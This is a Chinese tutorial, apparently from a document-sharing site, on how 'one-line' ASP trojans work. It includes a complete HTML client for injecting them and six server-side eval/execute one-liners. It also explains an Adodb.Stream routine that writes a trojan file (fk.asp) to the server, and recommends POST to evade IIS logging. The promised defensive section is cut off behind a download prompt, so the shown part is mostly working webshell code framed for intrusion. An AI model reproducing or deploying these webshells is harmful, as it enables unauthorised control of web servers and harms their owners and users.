解析一句话木马的原理
解析一句话木马的原理
一句话插入木马
就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。很多时候我们可以通过在注册表单或者用户信息修改表单中,插入简短的ASP代码,使网站ASP数据库变成为一个ASP木马,然后进一步入侵控制服务器。本文就一句话asp木马的工作原理进行了剖析,并在最后列出防范的具体措施。(注:以下代码仅供参考,因为内含木马程序,所以本文已做安全性修改)
一:基础篇
首先我们看一下最常用的一句话木马客户端的代码:
以下是代码片段:
<html>
<head>
<title>一句话客户端</title>
<style type="text/css">
<!--
body {
background-color: #FFFFFF;
}
.lygf {
border: 1px solid #660069;
font-size: 12px;
}
-->
</style>
</head>
<body>
<table width="500" border="0" align="center"
class="lygf" height="14" cellspacing="0">
<tr>
<td height="1" width="794">
<form name="lygf" method="post">
<input name="add" type="text" id="add"
size="97" value="http://">
<input type="submit" value=""
onClick=""
<input type="hidden" name="" id=""
value="Execute("Session("""")=request(""""):
Execute(Session(""""))")">
</td>
</tr>
<tr>
<td height="100" width="794">
<textarea name="*" cols="100" rows="9" width="45">
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("lygf")
lP.Close
set lP=nothing
response.redirect "fk.asp"</textarea>
</td>
</tr>
<tr>
<td height="1" width="794">
<textarea name="lygf" cols="100" rows="15" width="45">
写入</textarea>
</td>
</tr>
<tr>
<td width="794" height="7">
<font color="#000000">提供六个服务端:</font>
<br>
1. <%eval request("fk")%>
<br>
2. <%execute request("fk")%>
<br>
3. <%execute(request("fk"))%>
<br>
4. <%On Error Resume Next%><%eval request("fk")%>
<br>
5. <script language=""runat=server>execute request("")
<br>
6. <script language="" runat=server>eval request("")
</td>
</tr>
</table>
</body>
</html>
把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到:
下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):
显示在浏览器标题栏上面的文字,你可以自己更改
<style type="text/css">
<!--
body {
background-color: #FFFFFF; 背景颜色
}
.lygf {
border: 1px solid #660099; 边框属性
font-size: 12px; 字体大小
}
--> 本页面所要用到的样式
创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS是不
记入日志的。
<input name="add" type="text" id="add"
size="97" value="http://">
创建一个用于提
解析一句话木马的原理
交的输入框(text)用于写地址(add),
长度是97个字节,value=是默认的内容。
<input type="submit" value="枫"
onClick="this.form.action=this.form.add.value;">
创建一个按钮用于提交(submit),
后面的部分是把上面value的值赋给form去post。
<input type="hidden" name="fk" id="fk"
value="Execute("Session(""fk"")=request(""*""):
Execute(Session(""fk""))")">通过建立一个隐藏域,
把fk与下面name的值*关联,用session保存代码然后执行,
这句借用了海洋的客户端,不过那样不怎么好用。
<textarea name="*" cols="100" rows="9" width="45">
textarea就是论坛中的发言框。在HTML语言中,
textarea、input都是属于“文本域”的。
set lP=server.createObject("Adodb.Stream")
CreateObject创建并返回对 Automation 对象的引用,
应用于Server 对象;Adodb.Stream是ADO的Stream对象,
提供存取二进制数据或者文本流,从而实现对流的读、
写和管理等操作;对象创建后,
就可以在代码中使用定义的对象变量(IP)引用此对象
lP.Open 打开这个变量。
lP.Type=2 Type 指定或返回的数据类型,这里是以文本方式。
lP.CharSet="gb2312" gb2312是指简体中文。
lP.writetext request("lygf")
Request 对象在 HTTP 请求期间,
检索客户端浏览器传递给服务器的值,这里是lygf,
要和下面文本框中的name=lygf相对应,
writetext允许对现有的 text、ntext
或 image 列执行最小日志记录的交互式更新。
WRITETEXT 将覆盖受其影响的列中的所有现有数据,
在这里的作用就是取得下面的文本框里的木马的内容。
lP.SaveToFile server.mappath("fk.asp"),
2 这句很好懂,就是以覆盖文件的方式向服务器
的同文件目录下写入fk.asp。
lP.Close 关闭对象变量。
set lP=nothing 释放Adodb.Stream对象。
response.redirect "fk.asp" 在这里起到转向作
…… 此处隐藏:3788字,全部文档内容请下载后查看。喜欢就下载吧 ……
相关推荐:
- [求职职场]加法运算定律的运用练习题
- [求职职场]大型石油化工工业过程节能新技术
- [求职职场]2015-2020年中国箱纸板行业分析与投资
- [求职职场]NADEX-IWC5A点焊机故障代码
- [求职职场]英语阅读 非常有用
- [求职职场]鲁卫疾控发〔2012〕2号(联合,印发山东
- [求职职场]2014年莆田公务员行测技巧:数字推理的
- [求职职场]基于最近发展区理论的高中数学课堂有效
- [求职职场]与贸易有关的知识产权协议
- [求职职场]【王风范】微演说·职场演说三
- [求职职场]新时代国珍健康大课堂
- [求职职场]群论期末考试复习题
- [求职职场]施工现场消防安全专项施工方案(范本)-
- [求职职场]初中物理光学知识点归纳完美版
- [求职职场]毕业设计总结与体会范文
- [求职职场]江南大学2018年上半年展示设计第1阶段
- [求职职场]景尚乡民兵参战支前保障方案
- [求职职场]【优质】2019年工会职工之家建设工作总
- [求职职场]数据库技术与应用—SQL Server 2008(第
- [求职职场]汽车变速箱构造与工作原理
- 首钢工业区工业遗产资源保护与再利用研
- 第4课 《大学》节选
- 2016程序文件——检验检测结果发布程序
- 2011年高考试题文言文阅读全解释__2011
- 化学是一门基础的自然科学
- 海外做市商制度的借鉴意义
- 外国建筑史复习资料(
- 七年级下思想品德期末综合测试(二)
- 思政课部2013年上学期教学工作总结
- 电大国际公法任务3 0004
- 《圆的认识》教学设计
- 中国轨道交通牵引变流器行业市场发展调
- 中泰证券#定期报告:坚守时代硬科技和
- 浅论企业财务管理与企业经营投资风险的
- 大功率半导体激光器光纤耦合技术调研报
- 中国传统家具的现状与发展探讨
- Broadcom数字电视芯片助海尔扩展高清电
- 新HSK4词汇练习 超全(五)
- 2013届高考数学单元考点复习12
- 雨霖铃精品课件




